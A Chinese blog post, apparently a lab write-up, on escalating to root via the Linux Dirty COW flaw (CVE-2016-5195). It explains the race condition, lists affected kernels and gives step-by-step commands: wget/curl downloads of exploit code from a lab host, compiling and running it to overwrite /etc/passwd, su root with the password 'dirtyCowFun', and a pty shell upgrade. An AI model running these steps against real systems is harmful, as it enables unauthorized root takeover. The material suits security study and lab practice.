CVE-2016-5195-DityCow提权

脏牛提权(Dirty COW,CVE-2016-5195)是Linux内核中的一个本地提权漏洞,利用Copy-on-Write机制的竞态条件可让低权限用户获得root权限。

注意:他利用的是竞争条件,也就是在内核还没来得及反应的时候将恶意数据写入,成功率并不是100%,有时还会让系统崩溃

漏洞概述

[脏牛漏洞存在于Linux内核的Copy-on-Write(COW)机制中,当内核处理写入时复制操作时,可能产生竞态条件(race condition),导致攻击者可以对原本只读的内存映射进行写操作,从而修改系统关键文件如/etc/passwdsu程序,实现本地提权。该漏洞最早出现在2007年发布的Linux内核版本中,直到2016年10月18日才被修复,影响范围广泛,包括多数Linux发行版和部分基于Linux内核的Android系统。

漏洞原理

  1. Copy-on-Write机制:Linux在fork()创建子进程时,父子进程共享内存页,只有在写入时才复制内存页以提高效率。
  2. 竞态条件:在处理COW时,get_user_page函数可能出现执行顺序异常,使攻击者有机会将数据写入原本只读的内存区域。
  3. 提权方式:攻击者通过利用漏洞修改关键系统文件(如/etc/passwdsu),即可将普通用户权限提升为root权限]

脏牛漏洞分为1.0和2.0版本

脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。

判断是否存在漏洞

一、unmae -a 查看内核版本

影响范围
(如果你的内核版本低于以下版本,则极有可能还存在此漏洞):

Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10      4.8.0-26.28
Ubuntu 16.04      4.4.0-45.66
Ubuntu 14.04      3.13.0-100.147
Debian 8          3.16.36-1+deb8u2
Debian 7          3.2.82-1

二、使用自动化脚本,linux-exploit-suggester(LFS)

上传到目标机上面执行

image-20260424203316020

可以看到存在dirtycow漏洞

三、实战利用

(1)上传脚本到目标机上面(wget或curl)

wget http://192.168.78.130:80/dirty.c
或者
curl http://192.168.78.130:80/dirty.c -o dirty.c

(2)以dirtycow-master工具脚本为例(但是运行了目标机就报错,msf也会断开连接,要重启靶机才行)

创建的默认用户是 toor,运行二进制文件时,用户会提示输入新密码。原始的 /etc/passwd 文件会被备份到 /tmp/passwd.bak,并用生成的代码覆盖根账户。运行漏洞后,你应该能用新创建的用户登录。

(1)先编译:gcc -pthread dirty.c -o dirty -lcrypt
(2)运行新创建的二进制文件:./dirty
或者   ./dirty my-new-password
(3)可以恢复你的/etc/passwd
mv /tmp/passwd.bak /etc/passwd

image-20260424204723011

如上为靶机报错的界面

(3)使用CVE-2016-5195-master这个脚本

地址:gbonacini/CVE-2016-5195: A CVE-2016-5195 exploit example.

作为无权限用户在易受攻击的系统上运行该程序,会修改 /etc/passwd 文件,强制密码为“dirtyCowFun”(SHA-512,但可为较旧标准修改)。如果成功执行,使用该密码执行“su”,将会获得根壳。使用 -s 选项(推荐)时,根壳会自动打开。如果使用 dcow 且无选项或使用 -n(见下例),原始 /etc/passwd 的备份会像 .ssh_bak 一样在当前执行目录中创建。

即执行完脚本,root的密码就会改为dirtyCowFun,直接su root就行了

1上传脚本,wget http://192.168.88.1:7878/CVE-2016-5195-master.zip
2unzip解压并进入到CVE-2016-5195-master目录中执行make编译
3执行二进制文件./dcow如下图可以看到root密码改为了dirtyCowFun
4su root切换到root1,这里我为什么错了因为我之前使用bash -i启动的shell要用python3 -c 'import pty; pty.spawn("/bin/bash")'就不会报错了

image-20260424205902628

posted @ 2026-06-19 13:33  Doll_Marker  阅读(23)  评论(0)    收藏  举报